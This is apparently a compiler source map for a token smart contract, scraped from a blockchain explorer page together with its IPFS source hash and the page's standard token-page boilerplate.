:-1:-1;;;2037:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2076:9:0;2088:5;2092:1;2088;:5;:::i;10867:411::-;11012:10;;10967:7;;;;-1:-1:-1;;;;;11012:10:0;;;11005:17;;;;:58;;11035:11;;:28;;11051:11;11035:15;:28::i;:::-;11005:58;;;11023:11;11005:58;10987:76;-1:-1:-1;11078:12:0;;11074:172;;11152:4;11134:24;;;;:9;:24;;;;;;:39;;11163:9;11134:28;:39::i;:::-;11125:4;11107:24;;;;:9;:24;;;;;;;:66;;;;11193:41;;-1:-1:-1;;;;;11193:41:0;;;;;;;11224:9;1361:25:1;;1349:2;1334:18;;1215:177;11193:41:0;;;;;;;;11074:172;11263:7;10867:411;-1:-1:-1;;;;10867:411:0:o;11286:283::-;-1:-1:-1;;;;;11423:15:0;;;;;;:9;:15;;;;;;:31;;11443:10;11423:19;:31::i;:::-;-1:-1:-1;;;;;11405:15:0;;;;;;;:9;:15;;;;;;:49;;;;11480:13;;;;;;;:32;;11498:13;11480:17;:32::i;:::-;-1:-1:-1;;;;;11465:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11528:33;;;;;;;;;;11547:13;1361:25:1;;1349:2;1334:18;;1215:177;11528:33:0;;;;;;;;11286:283;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4926:356::-;5128:2;5110:21;;;5147:18;;;5140:30;5206:34;5201:2;5186:18;;5179:62;5273:2;5258:18;;4926:356::o;5642:251::-;5712:6;5765:2;5753:9;5744:7;5740:23;5736:32;5733:52;;;5781:1;5778;5771:12;5733:52;5813:9;5807:16;5832:31;5857:5;5832:31;:::i;6819:306::-;6907:6;6915;6923;6976:2;6964:9;6955:7;6951:23;6947:32;6944:52;;;6992:1;6989;6982:12;6944:52;7021:9;7015:16;7005:26;;7071:2;7060:9;7056:18;7050:25;7040:35;;7115:2;7104:9;7100:18;7094:25;7084:35;;6819:306;;;;;:::o;7409:277::-;7476:6;7529:2;7517:9;7508:7;7504:23;7500:32;7497:52;;;7545:1;7542;7535:12;7497:52;7577:9;7571:16;7630:5;7623:13;7616:21;7609:5;7606:32;7596:60;;7652:1;7649;7642:12;10073:125;10138:9;;;10159:10;;;10156:36;;;10172:18;;:::i;10558:135::-;10597:3;10618:17;;;10615:43;;10638:18;;:::i;:::-;-1:-1:-1;10685:1:1;10674:13;;10558:135::o;10698:128::-;10765:9;;;10786:11;;;10783:37;;;10800:18;;:::i;10963:127::-;11024:10;11019:3;11015:20;11012:1;11005:31;11055:4;11052:1;11045:15;11079:4;11076:1;11069:15;11095:980;11357:4;11405:3;11394:9;11390:19;11436:6;11425:9;11418:25;11462:2;11500:6;11495:2;11484:9;11480:18;11473:34;11543:3;11538:2;11527:9;11523:18;11516:31;11567:6;11602;11596:13;11633:6;11625;11618:22;11671:3;11660:9;11656:19;11649:26;;11710:2;11702:6;11698:15;11684:29;;11731:1;11741:195;11755:6;11752:1;11749:13;11741:195;;;11820:13;;-1:-1:-1;;;;;11816:39:1;11804:52;;11911:15;;;;11876:12;;;;11852:1;11770:9;11741:195;;;-1:-1:-1;;;;;;;11992:32:1;;;;11987:2;11972:18;;11965:60;-1:-1:-1;;;12056:3:1;12041:19;12034:35;11953:3;11095:980;-1:-1:-1;;;11095:980:1:o;12080:217::-;12120:1;12146;12136:132;;12190:10;12185:3;12181:20;12178:1;12171:31;12225:4;12222:1;12215:15;12253:4;12250:1;12243:15;12136:132;-1:-1:-1;12282:9:1;;12080:217::o

Swarm Source

ipfs://6be478d8dae9e7db689e0cc35c50e5b72fcb2aecc222169f452dcab613194823
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.